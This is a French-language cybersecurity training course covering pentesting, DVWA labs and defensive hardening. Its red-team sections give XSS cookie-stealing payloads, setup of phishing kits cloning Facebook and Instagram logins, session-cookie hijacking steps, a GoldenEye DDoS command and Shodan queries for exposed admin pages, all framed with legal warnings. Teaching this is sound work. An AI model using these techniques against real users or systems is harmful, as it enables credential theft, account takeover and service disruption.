Kali Linux (distribution, outils clés), 5 phases du pentesting (Recon/Scan/Exploit/Post-exploit/Rapport), Nmap (découverte, ports, OS fingerprinting), cadre légal et éthique.
- Kali Linux — distribution dédiée au pentesting
- 5 phases du pentesting : Reconnaissance, Scan, Exploitation, Post-exploitation, Rapport
- Nmap — découverte, scan de ports, fingerprinting OS
- Cadre légal et éthique — autorisation écrite obligatoire
Kali Linux est une distribution Debian dédiée aux tests de sécurité et au pentesting. Elle embarque 600+ outils préinstallés. Télécharger l'image VirtualBox sur kali.download/virtual-images/.
| Catégorie | Outils principaux | Usage |
|---|---|---|
| Reconnaissance | Nmap, Shodan, theHarvester | Découvrir l'infrastructure cible |
| Scan de vulnérabilités | OpenVAS, Nikto, Nessus | Détecter les failles |
| Exploitation Web | Burp Suite, DVWA, SQLMap | Tester les applications web |
| Réseau | Wireshark, Metasploit, Aircrack | Attaques réseau et Wi-Fi |
| Phishing | Blackphish, Socialphish, GoPhish | Ingénierie sociale |
① RECONNAISSANCE (passive + active)
Collecter infos sur la cible (OSINT, DNS, WHOIS)
Cartographier la surface d'attaque
② SCAN (découverte technique)
Nmap : ports ouverts, services, versions, OS
Identifier les vulnérabilités potentielles
③ EXPLOITATION (accès initial)
Exploiter les vulnérabilités découvertes
XSS, SQLi, CVE connus, brute force
④ POST-EXPLOITATION (pivoting & persistance)
Élever les privilèges, se déplacer latéralement
Documenter tout ce qui est accessible
⑤ RAPPORT
Lister toutes les vulnérabilités + scores CVSS
Plan de remédiation priorisé
# Découverte des hôtes actifs
nmap -sn 192.168.1.0/24
# Scan complet (tous les ports, versions, OS)
nmap -sV -O -p- 192.168.1.100
# Scan rapide (ports courants)
nmap -F 192.168.1.100
# Scripts de vulnérabilités
nmap --script=vuln 192.168.1.100
# Scan furtif (SYN scan)
sudo nmap -sS 192.168.1.100
# Détecter le WAF
nmap -p 80,443 --script=http-waf-detect 192.168.1.100
Tout test de pénétration sur un système tiers sans autorisation écrite explicite est un délit pénal. Toujours obtenir une lettre de mission signée avant de commencer. Les outils Kali sont légaux — leur utilisation non autorisée ne l'est pas.
Exploitation Web — DVWA & outils offensifs
TP pas-à-pas : XSS stockée et XSS DOM avec DVWA, Blackphish (cloner un site, capturer credentials), Socialphish (33 templates).
- Installer DVWA avec XAMPP — 7 étapes
- Exploiter XSS stockée — 8 étapes
- Exploiter XSS DOM via paramètre URL
- Blackphish — cloner un site, capturer les credentials
- Socialphish — 33 templates
Damn Vulnerable Web Application est une application PHP/MySQL intentionnellement vulnérable pour s'exercer légalement sur XSS, SQLi, CSRF avec 4 niveaux : Low, Medium, High, Impossible.
# 1. Télécharger XAMPP : https://www.apachefriends.org/
# 2. Télécharger DVWA : https://dvwa.co.uk/
# 3. Extraire DVWA dans C:\xampp\htdocs\dvwa\
# 4. Renommer config.inc.php.dist → config.inc.php
# 5. Démarrer XAMPP (Apache + MySQL)
# 6. http://localhost/dvwa → "Create / Reset Database"
# Login : admin | Password : password
# 7. DVWA Security → Low → Submit
① Connexion DVWA — niveau Low
② Cliquer "XSS (Stored)" dans le menu
③ Tester : Name=test1, Message=test2
④ CTRL+U → vérifier test1/test2 dans le HTML source
⑤ Injecter dans Message :
<script>alert('XSS Stockée OK')</script>
⑥ Cliquer "Sign Guestbook"
⑦ Rafraîchir → alerte à chaque chargement (payload en BDD)
⑧ "Clear Guestbook" avant de passer au niveau Medium
XSS DOM — via URL :
① "XSS (DOM)" → URL : ?default=English
② Tester : ?default=hello → "hello" dans le DOM
③ Payload : ?default=<script>alert(document.cookie)</script>
► Affiche PHPSESSID — récupérable pour Session Hijacking
Environnement isolé uniquement. Utilisation sur systèmes tiers sans autorisation = illégal.
# BLACKPHISH (5 templates)
cd Desktop
git clone https://github.com/iinc0gnit0/BlackPhish
cd BlackPhish && ./install.sh
sudo python3 blackphish.py
# Facebook(1), Instagram(2), Google(3)...
# Choisir Instagram(1) → localhost(3)
# Entrer credentials fictifs → s'affichent dans le terminal
# SOCIALPHISH (33 templates)
mkdir Socialphish && cd Socialphish
git clone https://github.com/xHak9x/SocialPhish.git
cd SocialPhish && chmod +x socialphish.sh
./socialphish.sh
# Facebook(1), Netflix(8), Spotify(9), LinkedIn(10), Steam(11)...
Exploitation réseau — Wireshark & attaques
Wireshark (capture trames, filtres BPF, vol de cookie HTTP), GoldenEye DDoS (installation, exécution), Windscribe IP Spoofing via VPN CLI, WAFW00F pour détecter les WAF.
- Wireshark — capturer des paquets, filtres BPF, détecter le vol de cookie
- GoldenEye — outil DDoS HTTP, installation Kali, exécution
- Windscribe — VPN CLI pour l'IP Spoofing sous Linux
- WAFW00F — détecter la présence d'un WAF sur un domaine cible
Wireshark capture tout le trafic d'une interface réseau et permet d'inspecter chaque paquet. Sur des protocoles non chiffrés (HTTP, FTP, Telnet) les credentials et cookies sont lisibles en clair.
Outils : Wireshark + extension Firefox "Cookie Editor"
① Wireshark → Capture → sélectionner l'interface réseau → Start
② Appliquer le filtre : http.cookie
③ Chercher les paquets GET/POST → HTTP avec le serveur
④ Développer "Hypertext Transfer Protocol"
⑤ Trouver : Cookie: PHPSESSID=j6oAOxCWZh...
⑥ Copier la valeur du cookie
⑦ Firefox → Cookie Editor → modifier la valeur du cookie
⑧ Accès au compte de la victime sans mot de passe !
Pourquoi : le serveur identifie l'utilisateur uniquement par son token
Sans vérification d'IP → n'importe qui avec le bon cookie = accès
http Tout le trafic HTTP
http.cookie Paquets contenant des cookies
http.request.method == "POST" Formulaires soumis (credentials !)
ftp Trafic FTP (tout en clair)
telnet Trafic Telnet (tout en clair)
tcp.flags.syn == 1 Détection SYN Flood
host 192.168.1.100 Trafic vers/depuis une IP
not arp Exclure l'ARP
GoldenEye est réservé aux tests en environnement isolé ou avec autorisation explicite. Utilisation sur des systèmes tiers = illégal.
# Installation
git clone https://github.com/jseidl/GoldenEye.git
cd GoldenEye
./goldeneye.py --help
# Options : -s (workers), -m (méthode : get/post/random)
# Lancer l'attaque (LOCAL uniquement)
sudo ./goldeneye.py http://192.168.0.233:80/ -s 10 -m random
# -s 10 : 10 connexions simultanées
# -m random : méthodes HTTP aléatoires
# Observer dans Wireshark pendant l'attaque
# Filtre : host 192.168.0.233 and tcp
# Observer la saturation des connexions TCP port 80
# Principe GoldenEye :
# Établit des connexions TCP complètes (3-way handshake)
# Envoie des requêtes HTTP légitimes mais très lentes
# Épuise le pool de connexions Apache/Nginx
# Ajouter le dépôt et installer
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-key FDC247B7
echo 'deb https://repo.windscribe.com/ubuntu bionic main' | \
sudo tee /etc/apt/sources.list.d/windscribe-repo.list
sudo apt-get update && sudo apt-get install windscribe-cli
# Connexion
windscribe login
windscribe connect # Meilleur serveur automatique
windscribe connect FR # Serveur France → IP française
# Vérifier le changement d'IP
curl ifconfig.me # Doit afficher l'IP du pays choisi
# Voir les serveurs disponibles
windscribe locations
# Déconnexion
windscribe disconnect
# Installation
git clone https://github.com/EnableSecurity/wafw00f.git
cd wafw00f && python3 setup.py install
# Détecter le WAF
wafw00f www.amazon.com
# Résultat : "amazon.com is behind Cloudfront (Amazon)"
# Scan complet (tous les WAF connus)
wafw00f -a www.target.com
# Via Nmap
nmap -p 80,443 --script=http-waf-detect www.target.com
nmap -p 80,443 --script=http-waf-fingerprint www.target.com
# Comment WAFW00F fonctionne :
# 1. Requêtes HTTP normales → analyse la réponse
# 2. Requêtes potentiellement malveillantes si WAF non détecté
# 3. Analyse patterns (codes HTTP, headers, body)
# 4. Identifie parmi +100 signatures WAF connues
OpenVAS & scoring CVSS
Installation OpenVAS/Greenbone sur Kali Linux (gvm-setup, interface web port 9392), types de scans, scoring CVSS v3 (Critical/High/Medium/Low), lire un rapport CVE et prioriser les remédiations.
- Installer et configurer OpenVAS/GVM sur Kali Linux
- Lancer un scan réseau, définir une cible
- Lire un rapport de vulnérabilités
- Scoring CVSS v3 — décoder un vecteur, prioriser les remédiations
# Mettre à jour Kali
sudo apt update && apt upgrade -y
# Installer OpenVAS
sudo apt install openvas
# Configuration initiale (≈ 15-30 min — télécharge les NVTs)
sudo gvm-setup
# NOTER le mot de passe admin généré à la fin !
# Vérifier l'installation
gvm-check-setup
# Démarrer les services
sudo gvm-start
# Interface web : https://localhost:9392
# Changer le mot de passe si oublié
gvmd --user=admin --new-password=nouveau_mdp
# Arrêter les services
sudo gvm-stop
① Ouvrir https://localhost:9392 → Connexion admin
② Scans → Tasks → icône baguette magique "Task Wizard"
③ Définir une cible :
Name : "Machine de test"
Hosts : 192.168.1.100
④ Choisir le type de scan :
Full and fast → complet et rapide (recommandé)
Full and very deep → très détaillé mais lent
Host discovery → découvrir les hôtes actifs seulement
System discovery → OS et services principaux
⑤ Cliquer "Save" puis Play ►
⑥ Attendre la fin (15 min à plusieurs heures)
⑦ Cliquer sur le résultat → rapport détaillé
| Score CVSS | Sévérité | Délai de remédiation | Exemple |
|---|---|---|---|
| 9.0 — 10.0 | CRITICAL | Patch immédiat — heures | Log4Shell (10.0), EternalBlue (9.8) |
| 7.0 — 8.9 | HIGH | Patch urgent — jours | SQLi non authentifiée, RCE complexe |
| 4.0 — 6.9 | MEDIUM | Patch planifié — semaines | XSS stockée, informations exposées |
| 0.1 — 3.9 | LOW | Prochain cycle | En-tête HTTP manquant |
CVE-2021-44228 (Log4Shell) : CVSS 10.0
Vecteur : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
AV:N → Attack Vector : Network (exploitable à distance)
AC:L → Attack Complexity : Low (facile à exploiter)
PR:N → Privileges Required : None (aucun compte nécessaire)
UI:N → User Interaction : None (aucune action utilisateur)
S:C → Scope : Changed (impact au-delà du composant)
C:H → Confidentiality : High (fuite totale de données)
I:H → Integrity : High (modification totale)
A:H → Availability : High (déni de service possible)
Score 10.0 : exploitable à distance, sans privilège, impact total CIA
PR:N (Privileges Required : None) signifie :Firewalls & filtrage réseau
5 générations de firewalls (Packet Filtering, Stateful, Proxy, NGFW, SMLI), DMZ, iptables (INPUT/OUTPUT/FORWARD, DROP/ACCEPT/LOG, conntrack, NAT).
- 5 générations de firewalls et leurs différences
- DMZ — architecture en zone démilitarisée
- iptables — chaînes INPUT/OUTPUT/FORWARD, règles DROP/ACCEPT/LOG
- Conntrack et NAT
| Génération | Nom | Fonctionnement | Couche OSI |
|---|---|---|---|
| 1ère | Packet Filtering (stateless) | Filtre chaque paquet indépendamment (IP, port, protocole) | 3-4 |
| 2ème | Stateful Inspection | Suit l'état des connexions TCP (table des connexions) | 3-4 |
| 3ème | Proxy / Application Gateway | Inspecte le contenu applicatif — agit comme intermédiaire | 7 |
| 4ème | NGFW (Next-Generation) | DPI, IDS/IPS intégré, contrôle applicatif | 2-7 |
| 5ème | SMLI (Stateful Multilayer) | Inspecte toutes les couches OSI simultanément | 2-7 |
La DMZ est une zone réseau isolée entre Internet et le réseau interne. Les serveurs publics (web, mail) sont en DMZ. Si un serveur DMZ est compromis, le firewall interne protège le réseau interne.
Architecture : Internet → Firewall externe → DMZ → Firewall interne → Réseau interne
# Voir les règles
sudo iptables -L -v --line-numbers
# Politique par défaut : bloquer tout entrant
sudo iptables -P INPUT DROP
sudo iptables -P FORWARD DROP
sudo iptables -P OUTPUT ACCEPT
# Connexions déjà établies (conntrack)
sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# Loopback
sudo iptables -A INPUT -i lo -j ACCEPT
# Autoriser SSH, HTTP, HTTPS
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 443 -j ACCEPT
# Bloquer une IP
sudo iptables -A INPUT -s 192.168.1.50 -j DROP
# Logger les paquets bloqués
sudo iptables -A INPUT -j LOG --log-prefix "iptables-DROP: "
sudo iptables -A INPUT -j DROP
# Supprimer une règle
sudo iptables -D INPUT 3
# Vider toutes les règles
sudo iptables -F
# Rendre persistantes
sudo apt install iptables-persistent
sudo netfilter-persistent save
# NAT masquerade (partager Internet)
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
# Port forwarding (DNAT)
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 \
-j DNAT --to-destination 192.168.1.100:80
# Protection SYN Flood
sudo iptables -A INPUT -p tcp --syn \
-m limit --limit 1/s --limit-burst 4 -j ACCEPT
sudo iptables -A INPUT -p tcp --syn -j DROP
iptables -P INPUT DROP sans aucune autre règle. Que se passe-t-il ?WAF & Hardening applicatif
WAF (réseau/hôte/cloud, ModSecurity, WAFW00F+Nmap), 10 principes du développement sécurisé OWASP, Ccrypt et Proxy Squid.
- 3 types de WAF — réseau, hôte (ModSecurity), cloud
- Détecter un WAF avec WAFW00F et Nmap
- 10 principes OWASP du développement sécurisé
- Ccrypt — chiffrer/déchiffrer en CLI
- Proxy Squid — ACL et filtrage
| Type | Emplacement | Avantages | Inconvénients |
|---|---|---|---|
| Réseau | Appliance physique devant le serveur | Très performant | Coûteux |
| Hôte | Module sur le serveur (ModSecurity) | Gratuit, contexte applicatif | Consomme des ressources |
| Cloud | SaaS (Cloudflare, AWS WAF) | Facile à déployer | Données transitées par tiers |
# Installer ModSecurity sur Apache
sudo apt install libapache2-mod-security2
sudo a2enmod security2
sudo apt install modsecurity-crs
sudo systemctl restart apache2
# Détecter le WAF d'un domaine
wafw00f www.amazon.com
wafw00f -a www.target.com
# Via Nmap
nmap -p 80,443 --script=http-waf-detect www.target.com
nmap -p 80,443 --script=http-waf-fingerprint www.target.com
| # | Principe | Application pratique |
|---|---|---|
| 1 | Réduire la surface d'attaque | Désactiver les fonctionnalités inutiles, fermer les ports non nécessaires |
| 2 | Défense en profondeur | Superposer plusieurs couches (firewall + WAF + chiffrement + RBAC) |
| 3 | Échec sécurisé (Fail Safe) | En cas d'erreur, refuser par défaut plutôt qu'autoriser |
| 4 | Moindre privilège | Chaque composant n'a que les droits minimaux nécessaires |
| 5 | Séparation des privilèges | Distinguer les rôles : admin, utilisateur, invité |
| 6 | Ne pas faire confiance aux services | Valider toutes les entrées, même internes |
| 7 | Séparation des préoccupations | Isoler authentification, autorisation, logique métier |
| 8 | Éviter la sécurité par l'obscurité | Ne pas révéler la structure interne dans les messages d'erreur |
| 9 | Simplicité de la sécurité | Implémentations simples = moins de failles |
| 10 | Corriger correctement | Comprendre la cause racine, pas seulement les symptômes |
# Ccrypt
sudo apt-get install ccrypt
ccencrypt rapport.pdf # Génère rapport.pdf.cpt
ccdecrypt rapport.pdf.cpt # Restaure le fichier
ccencrypt -r dossier/ # Récursif
# Squid Proxy
sudo apt-get install squid
sudo nano /etc/squid/squid.conf
# http_port 3128
# acl localnet src 192.168.0.0/16
# http_access allow localnet
# acl bloques dstdomain .facebook.com
# http_access deny bloques
sudo systemctl restart squid
sudo tail -f /var/log/squid/access.log
SSH, IAM & sécurisation des accès
Sécuriser SSH (clé RSA 4096, désactiver root), fail2ban contre le brute force, politique de mots de passe (8-14 car., rotation 90j), MFA et Zero Trust.
- SSH sécurisé — clé RSA 4096, désactiver root login
- fail2ban — bloquer automatiquement le brute force
- Politique MDP — complexité, 8-14 car., rotation 90j
- MFA et modèle Zero Trust
# Générer une clé RSA 4096 bits
ssh-keygen -t rsa -b 4096 -C "admin@entreprise.ma"
ssh-copy-id user@192.168.1.100
# Sécuriser /etc/ssh/sshd_config :
# PermitRootLogin no
# PasswordAuthentication no
# PubkeyAuthentication yes
# Port 2222
# MaxAuthTries 3
# AllowUsers admin deployer
sudo systemctl restart sshd
sudo apt-get install fail2ban
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
# Dans jail.local :
# [sshd]
# enabled = true
# port = 2222
# maxretry = 3 → 3 tentatives → ban
# bantime = 3600 → 1 heure
# findtime = 600 → fenêtre 10 min
sudo systemctl enable --now fail2ban
sudo fail2ban-client status sshd
sudo fail2ban-client set sshd unbanip 192.168.1.50
| Critère | Règle | Raison |
|---|---|---|
| Longueur | Min 8 car., idéal 12-14 | Chaque caractère multiplie le temps de brute force |
| Complexité | Maj + min + chiffres + symboles | Élargit l'espace des possibilités |
| Rotation | Tous les 90 à 180 jours | Limite la fenêtre d'exposition |
| Passphrase | 4 mots aléatoires : «Cheval-Batterie-Agrafe-Violet» | Long, mémorisable, résistant |
| MFA | Second facteur obligatoire (TOTP, SMS) | MDP volé seul ne suffit pas |
Zero Trust : aucun utilisateur, appareil ou réseau n'est digne de confiance par défaut. Chaque accès est vérifié (identité, device, contexte). Principe : supposer que vous êtes déjà compromis.
SIEM, logs & détection d'intrusion
IDS vs IPS, Snort (règles), syslog (8 niveaux), SIEM (corrélation) et IOC.
- IDS (détection) vs IPS (prévention)
- Snort — structure d'une règle
- Logs syslog — 8 niveaux de sévérité
- SIEM — corrélation d'événements
- IOC — indicateurs de compromission
| Système | Action | Position | Avantage | Inconvénient |
|---|---|---|---|---|
| IDS | Détecte et alerte — ne bloque pas | Mode passif (copie) | Zéro impact sur le trafic | L'attaque passe quand même |
| IPS | Détecte et bloque en temps réel | Mode inline | Bloque avant la cible | Faux positifs bloquants |
| NIDS | Surveille le trafic réseau | Point stratégique | Vision globale | Trafic chiffré illisible |
| HIDS | Surveille un hôte | Sur chaque machine | Détecte intrusions internes | Échelle difficile |
# Structure : action protocole src port -> dst port (options)
# Détecter ping ICMP
alert icmp any any -> 192.168.1.0/24 any (msg:"Ping detecte"; sid:1000001; rev:1;)
# Détecter injection SQL
alert tcp any any -> any 80 (msg:"SQL Injection"; content:"OR 1=1"; nocase; sid:1000003;)
sudo snort -A console -i eth0 -c /etc/snort/snort.conf
| Niveau | Val. | Signification |
|---|---|---|
| EMERGENCY | 0 | Système inutilisable |
| ALERT | 1 | Action immédiate requise |
| CRITICAL | 2 | Condition critique |
| ERROR | 3 | Échec (ex: authentification) |
| WARNING | 4 | Avertissement |
| NOTICE | 5 | Condition normale notable |
| INFO | 6 | Message informatif |
| DEBUG | 7 | Traces détaillées |
Un SIEM collecte les logs de tous les systèmes et les corrèle. Un échec de connexion isolé = normal. 500 échecs depuis la même IP en 1 minute sur 10 serveurs = alerte brute force coordonnée.
| IOC | Exemples | Source de détection |
|---|---|---|
| IP malveillantes | IP de C&C botnet | Threat intelligence |
| Hashes | SHA-256 d'un malware connu | Antivirus, SIEM |
| Domaines | Domaines de phishing récents | DNS logs, proxy |
| Comportements | Connexion à 3h du matin depuis l'étranger | SIEM, UEBA |
PSSI & Gestion des risques
Élaborer une PSSI, méthodes EBIOS RM et ISO 27005, matrice probabilité×impact (5×5), et 4 stratégies de traitement du risque (4T).
- Qu'est-ce qu'une PSSI — périmètre, actifs, menaces, mesures
- EBIOS RM et ISO 27005 — méthodes d'analyse de risques
- Matrice probabilité×impact (5×5)
- Les 4T : Tolérer, Traiter, Transférer, Terminer
La PSSI est le document de référence qui décrit les objectifs, règles et moyens de sécurité d'une organisation. Sans PSSI, les mesures de sécurité sont fragmentaires et incohérentes.
| Section PSSI | Contenu | Exemple |
|---|---|---|
| Périmètre | Ce qui est couvert | Tous les SI + prestataires accédant aux données |
| Inventaire des actifs | Liste et valorise les actifs | BDD clients (critique), site web (important) |
| Analyse des menaces | Menaces et vulnérabilités pertinentes | Phishing (probabilité haute), intrusion physique (faible) |
| Mesures de sécurité | Contrôles techniques et organisationnels | MFA obligatoire, AES-256, formation annuelle |
| Responsabilités | Qui fait quoi | RSSI, DPO, administrateurs, utilisateurs |
| Gestion des incidents | Procédures en cas d'incident | Qui appeler, comment isoler, déclarer à la CNDP |
IMPACT
1-Min 2-Mod 3-Sig 4-Maj 5-Crit
PROB 5 | 5 | 10 | 15 | 20 | 25 |
4 | 4 | 8 | 12 | 16 | 20 |
3 | 3 | 6 | 9 | 12 | 15 |
2 | 2 | 4 | 6 | 8 | 10 |
1 | 1 | 2 | 3 | 4 | 5 |
Score 1-5 → Faible ► Tolérer
Score 6-12 → Modéré ► Traiter
Score 15-25 → Élevé ► Traiter/Transférer
| Stratégie | Définition | Quand | Exemple |
|---|---|---|---|
| T1 — Tolérer | Accepter le risque | Risque faible, coût correction > impact | Bug mineur dans un outil peu utilisé |
| T2 — Traiter | Réduire probabilité ou impact | Risque modéré à élevé | Installer un patch, configurer un firewall |
| T3 — Transférer | Confier le risque à un tiers | Risque financier important | Cyber-assurance couvrant les ransomwares |
| T4 — Terminer | Supprimer l'activité générant le risque | Risque trop élevé | Fermer un service web obsolète non patchable |
PRA, PCA & Continuité de service
Différence PRA vs PCA, RPO/RTO, BIA, scénarios de crise (ransomware, panne datacenter) et tests de reprise.
- PRA vs PCA — différences et articulation
- RPO et RTO en pratique
- Scénarios de crise : ransomware, panne datacenter, zero-day
- Tests de reprise obligatoires
| Critère | PRA | PCA |
|---|---|---|
| Objectif | Redémarrer après un sinistre | Ne jamais s'arrêter |
| Déclenchement | Après l'incident | Pendant l'incident |
| RTO visé | Heures à jours | Minutes (quasi-transparent) |
| Coût | Moins coûteux | Très coûteux (infrastructure redondante) |
| Exemple | Ransomware → restaurer les backups | Panne datacenter → basculer sur site secondaire |
| Métrique | Définition | Exemple |
|---|---|---|
| RPO | Perte de données maximale acceptable | RPO=4h → sauvegarder toutes les 4h |
| RTO | Durée maximale d'indisponibilité acceptable | RTO=2h → système opérationnel en moins de 2h |
Scénario 1 : Ransomware
● Isoler immédiatement les machines infectées
● Identifier le patient zéro et le vecteur d'entrée
● Activer le PRA : restaurer depuis le dernier backup sain
● Ne JAMAIS payer la rançon
Scénario 2 : Panne datacenter
● Activer le PCA : basculer sur site secondaire
● Rediriger le DNS vers l'infrastructure de secours
Scénario 3 : Zero-Day critique
● Isoler les systèmes affectés
● Appliquer des compensating controls en attendant le patch
Tests obligatoires :
● Test théorique (revue) → annuel
● Test à blanc (simulation) → semestriel
● Test réel (basculement) → annuel
Audit de sécurité & rapport d'incident
Conduire un audit technique (4 phases), rédiger un rapport d'incident (timeline, IOC, impact), plan de remédiation priorisé CVSS.
- Audit technique — 4 phases, outils, livrables
- Structure d'un rapport d'incident (timeline, IOC, impact)
- Plan de remédiation priorisé par CVSS
| Phase | Actions | Outils | Livrables |
|---|---|---|---|
| 1. Préparation | Définir le périmètre, autorisation | Formulaire signé | Lettre de mission |
| 2. Reconnaissance | Cartographier l'infrastructure | Nmap, Shodan, WAFW00F | Inventaire actifs |
| 3. Analyse | Scanner les vulnérabilités | OpenVAS, Burp Suite, Nikto | Liste vulns CVSS |
| 4. Rapport | Documenter, prioriser par CVSS | Template de rapport | Rapport + plan remédiation |
1. RESUME EXECUTIF
Nature, date/heure, systèmes affectés, impact métier
2. TIMELINE
13h42 → Premier paquet SYN de l'IP 185.x.x.x
13h47 → Exploitation CVE détectée par Snort
14h05 → Détection SIEM — équipe alertée
14h12 → Isolation du serveur affecté
3. IOC (Indicateurs de Compromission)
IP source : 185.x.x.x (Roumanie)
User-Agent : sqlmap/1.6
Hash webshell : SHA256:3b4c...
4. IMPACT
Données exfiltrées : table users (1 247 lignes)
CIA : Confidentialité + Intégrité
5. PLAN DE REMEDIATION (priorisé CVSS)
CRITIQUE [9.8] → Patcher SQLi — immédiat
HIGH [8.1] → Migrer MDP vers bcrypt — 48h
HIGH [7.5] → Déployer WAF — 1 semaine
Veille CVE, certifications & roadmap SSI
Sources de veille (NVD, Mitre, CERT-MA, ANSSI), Shodan, certifications (CEH, OSCP, Security+, CISSP) et roadmap analyste SOC → RSSI.
- Sources de veille CVE — NVD, Mitre, CERT-MA, ANSSI, OWASP
- Shodan — reconnaissance OSINT
- Certifications SSI — Security+, CEH, OSCP, CISSP
- Roadmap carrière : SOC Analyst → RSSI
| Source | URL | Contenu |
|---|---|---|
| NVD | nvd.nist.gov | Base officielle des CVE avec scores CVSS |
| CVE Mitre | cve.mitre.org | Identifiants CVE et descriptions techniques |
| CERT-MA | ma-cert.ma | Alertes de sécurité spécifiques au Maroc |
| ANSSI | cert.ssi.gouv.fr | Bulletins sécurité (référence francophone) |
| OWASP | owasp.org | Top 10, outils, méthodologies web |
| Shodan | shodan.io | Moteur de recherche d'appareils connectés exposés |
# Serveurs Apache 2.2 au Maroc
# Filtre : apache/2.2 country:"MA"
# Interfaces admin exposées
# Filtre : title:"admin" port:80 country:"MA"
# CLI Shodan
pip install shodan
shodan init VOTRE_API_KEY
shodan search --fields ip_str,port,org "apache 2.2 country:MA"
| Certification | Niveau | Focus | Valeur |
|---|---|---|---|
| Security+ | Débutant | Fondamentaux SSI | ★★★★ — Point d'entrée mondial |
| CEH | Intermédiaire | Hacking éthique | ★★★★ — Pentesting |
| OSCP | Avancé | Pentesting pratique (examen 24h) | ★★★★★ — Gold standard |
| CISSP | Expert | Gouvernance, architecture | ★★★★★ — Indispensable RSSI |
N1 — Technicien (0-2 ans)
Admin système/réseau, Wireshark, Nmap
Certification : Security+
Poste : Analyste SOC N1
N2 — Analyste (2-5 ans)
Pentesting, analyse malwares, SIEM
Certification : CEH
Poste : Pentesteur, SOC N2
N3 — Expert (5-8 ans)
Red Team, threat hunting, architecture
Certification : OSCP
Poste : Red Teamer, architecte sécurité
N4 — RSSI / CISO (8+ ans)
Gouvernance, risques, conformité, management
Certification : CISSP
Poste : RSSI, DPO, Directeur cybersécurité
Projet — Reconnaissance & cartographie
Phase 1 : Nmap (découverte, ports, OS), OSINT, WAFW00F, inventaire des actifs exposés.
# Découverte des hôtes actifs
nmap -sn 192.168.1.0/24
# Scan complet de la cible
nmap -sV -O -p- 192.168.1.100
# Scan des vulnérabilités courantes
nmap --script=vuln 192.168.1.100
# Détecter le WAF
wafw00f http://192.168.1.100
# Headers HTTP (OSINT)
curl -I http://192.168.1.100
Projet — Exploitation contrôlée
Phase 2 : XSS sur DVWA, scan OpenVAS, Wireshark, rapport de vulnérabilités CVSS.
① XSS sur DVWA (Low/Medium/High)
Tester XSS Stockée + XSS DOM
Documenter : payload, résultat, niveau qui bloque
② Scan OpenVAS de la cible
Full and fast scan
Exporter le rapport PDF
Top 3 vulnérabilités (par CVSS)
③ Capture Wireshark pendant les tests
Filtre : http, http.cookie, tcp.flags.syn
Documenter les credentials HTTP en clair
④ Rapport de vulnérabilités
CRITIQUE : [CVSS X.X] ...
HIGH : [CVSS X.X] ...
MEDIUM : [CVSS X.X] ...
Projet — Contre-mesures & Hardening
Phase 3 : iptables, HTTPS OpenSSL, fail2ban, WAF, Squid proxy.
# 1. iptables
sudo iptables -P INPUT DROP
sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 443 -j ACCEPT
# 2. HTTPS avec OpenSSL
openssl req -newkey rsa:2048 -keyout serveur.key -out serveur.csr -nodes
openssl x509 -req -in serveur.csr -signkey serveur.key -out serveur.crt -days 365
# 3. fail2ban
sudo systemctl enable --now fail2ban
sudo fail2ban-client status sshd
# 4. WAFW00F vérification
wafw00f http://localhost
Projet — Chiffrement & Sauvegarde sécurisée
Phase 4 : AES avec OpenSSL, Ccrypt, rdiff-backup SSH.
# Chiffrer avec OpenSSL AES-256
openssl enc -aes-256-cbc -pbkdf2 -in donnees.txt -out donnees.enc -k "MDP_Fort_2024!"
openssl enc -d -aes-256-cbc -pbkdf2 -in donnees.enc -out donnees_dechiffrees.txt -k "MDP_Fort_2024!"
# Chiffrer avec Ccrypt
ccencrypt rapport_audit.pdf
# Sauvegarde locale
sudo rdiff-backup /var/www/html/ /backup/web/
# Sauvegarde distante SSH
rdiff-backup /var/www/ root@192.168.1.200::/backup/prod/
# Vérifier l'intégrité
sha256sum donnees.txt > checksum.sha256
sha256sum -c checksum.sha256
Projet — Rapport d'audit complet
Phase 5 (synthèse) : rapport complet avec PSSI draft, rapport d'incident et plan de remédiation CVSS.
RAPPORT D'AUDIT DE SECURITE — PROJET FINAL M108
1. RESUME EXECUTIF
Périmètre, méthodologie, synthèse des vulnérabilités
2. PHASE 1 — Reconnaissance
Résultats Nmap : hôtes, ports, services, OS
Résultat WAFW00F : WAF présent/absent
3. PHASE 2 — Exploitation
XSS DVWA : payloads testés, niveaux vulnérables
OpenVAS : top 3 vulnérabilités CVSS
4. PHASE 3 — Contre-mesures
iptables configuré, HTTPS activé, fail2ban
5. PHASE 4 — Chiffrement
AES-256 + Ccrypt + rdiff-backup opérationnel
6. PLAN DE REMEDIATION (CVSS)
CRITIQUE [9.0+] → Immédiat
HIGH [7.0+] → 1 semaine
MEDIUM [4.0+] → 1 mois
| Partie | Compétences |
|---|---|
| P1 — Fondamentaux | CIA, McCumber, CVE, OWASP Top 10, XSS, SQLi, DDoS, Phishing |
| P2 — Cryptographie | AES-256, RSA, PKI, Loi 09-08, RGPD, RBAC, TLS, rdiff-backup |
| P3 — Red Team | DVWA, Blackphish, Wireshark, GoldenEye, OpenVAS, CVSS v3 |
| P4 — Blue Team | iptables, WAF, fail2ban, SSH, IDS/IPS, SIEM, IOC |
| P5 — Gouvernance | PSSI, EBIOS RM, PRA/PCA, Audit, veille CVE, roadmap SSI |